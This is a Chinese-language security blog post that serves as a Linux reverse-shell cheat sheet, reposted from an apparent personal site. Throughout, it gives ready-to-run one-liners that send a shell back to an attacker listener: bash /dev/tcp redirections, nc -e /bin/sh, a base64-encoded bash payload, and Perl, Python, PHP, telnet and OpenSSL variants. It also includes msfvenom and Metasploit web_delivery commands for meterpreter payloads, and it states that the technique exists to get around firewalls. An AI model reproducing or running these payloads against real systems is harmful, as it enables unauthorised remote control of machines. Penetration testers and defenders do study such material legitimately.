Linux反弹shell

  • A+
所属分类:安全博客

Linux反弹shell

/01 bash -i反弹

一,命令分解

前置知识

文件描述符:

0 —————- 标准输入

1 —————– 标准输出

2 —————– 标准错误输出

重定向符:

1
> ------------ 更改标准输出
1
< ------------ 更改标准输入

1.bash shell

1
bash -i

2.bash输出重定向

1
bash -i > /dev/tcp/192.168.1.129/6666

被控制端:

Linux反弹shell

控制端:

Linux反弹shell

可以发现对方的回显会弹到我们这。说明它只把回显反弹而不会让我们本机运行shell

3.bash输入重定向

1
bash -i < /dev/tcp/192.168.1.129/6666

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

可以看到执行命令后,控制端可以执行命令,但是回显在被控制端。

4.完整的bash反弹shell语句(1)

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

发现不管是输入输出都可以反弹到控制端

5.完整的bash反弹shell语句(2)

1
bash -i &> /dev/tcp/192.168.1.129/6666 0>&1

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

发现连命令[email protected]都能显示在控制端

6.完整的bash反弹shell语句(3)

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1 2>&1

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

二,NC反弹shell

1.NC的正向shell

被控制端:

1
nc -lvvp 6666 -e /bin/sh

Linux反弹shell

控制端:

1
nc 192.168.1.130 6666

Linux反弹shell

原理:被控制端nc将/bin/sh推到本地6666端口,控制端连接对方端口从而获得shell

正向连接,需要我们主动连接被控制方。

2.NC反弹shell

控制端:

1
nc -lvvp 6666

Linux反弹shell

被控制端:

1
nc -e /bin/sh 192.168.1.129 6666

Linux反弹shell

原理:被控制端使用nc携带/bin/sh 连接控制端

反弹shell:被控制端主动连接我们从而绕过防火墙。

三,Bash反弹shell

1.bash -i参与

被控制端:

1
2
3
bash -i >& /dev/tcp/192.168.1.129/6666 0>&1

bash -i > /dev/tcp/192.168.1.129/6666 0>&1 2>&1

or

1
bash -i > /dev/tcp/192.168.1.129/6666 0>&1

前者输出重定向携带&后者不含,区别在于标准命令的[email protected]:~#

Linux反弹shell

Linux反弹shell

2.bash -i掩饰

1
exec 5<>/dev/tcp/192.168.1.129/6666;cat <&5 | while read line; do $line 2>&5 >&5;done

被控制端:

Linux反弹shell

控制端:

Linux反弹shell

3.base64编码绕过

1
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"

编码推荐网站

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

Msfvenom

1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.129 lport=6666 -f raw

Linux反弹shell

payload在对方机器运行:

Linux反弹shell

Linux反弹shell

5.Perl

1
perl -e 'use Socket;$i="192.168.1.129";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.129:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

6.Python

1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.129",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

控制端:

Linux反弹shell

被控制端:

Linux反弹shell

msf

控制端:

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=6666 -f raw

Linux反弹shell

监听

1
handler -p python/meterpreter/reverse_tcp -H 192.168.1.129 -P 6666

Linux反弹shell

Linux反弹shell

被控制端:

Linux反弹shell

Web delivery

控制端:

1
2
3
4
5
6
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 0
msf6 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lport 6666
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.129
msf6 exploit(multi/script/web_delivery) > exploit -j

Linux反弹shell

被控制端:

Linux反弹shell

7.PHP

控制端:

Linux反弹shell

Linux反弹shell

被控制端:

1
php -r '$sock=fsockopen("192.168.1.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

Linux反弹shell

Msfvennom反弹shell
1
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
web_delivery反弹shell

控制端:

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/script/web_delivery 
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 1
target => 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.129
lhost => 192.168.1.129
msf6 exploit(multi/script/web_delivery) > set lport 6666
lport => 6666
msf6 exploit(multi/script/web_delivery) > exploit -j

Linux反弹shell

被控制端:

Linux反弹shell

8.Ruby

1
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw

9.Telnet

控制端:

1
2
nc -lvvp 5555
nc -lvvp 6666

Linux反弹shell

被控制端:

1
telnet 192.168.1.130 5555 | /bin/bash | telnet 192.168.1.130 6666

Linux反弹shell

控制端:

Linux反弹shell

被控制端:

1
2
rm -f a && mknod a p && telnet 192.168.1.130 6666 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet 192.168.1.130 6666 0<a | /bin/bash 1>a

Linux反弹shell

10.OpenSSL

生成密钥

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

启动监视器

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

被控端运行

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

11.Refer

https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: MOCTF write up

萌新第一次写wp,今天发现了moctf这个平台,顺手点进去做了几个简单的萌新题目。 已是深夜,先写一点点。写的不好请见谅。 WEB 签到 question:欢迎加入MOCTF官方交流群:620047348 answer:加群得flag。 一道水题 questi…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: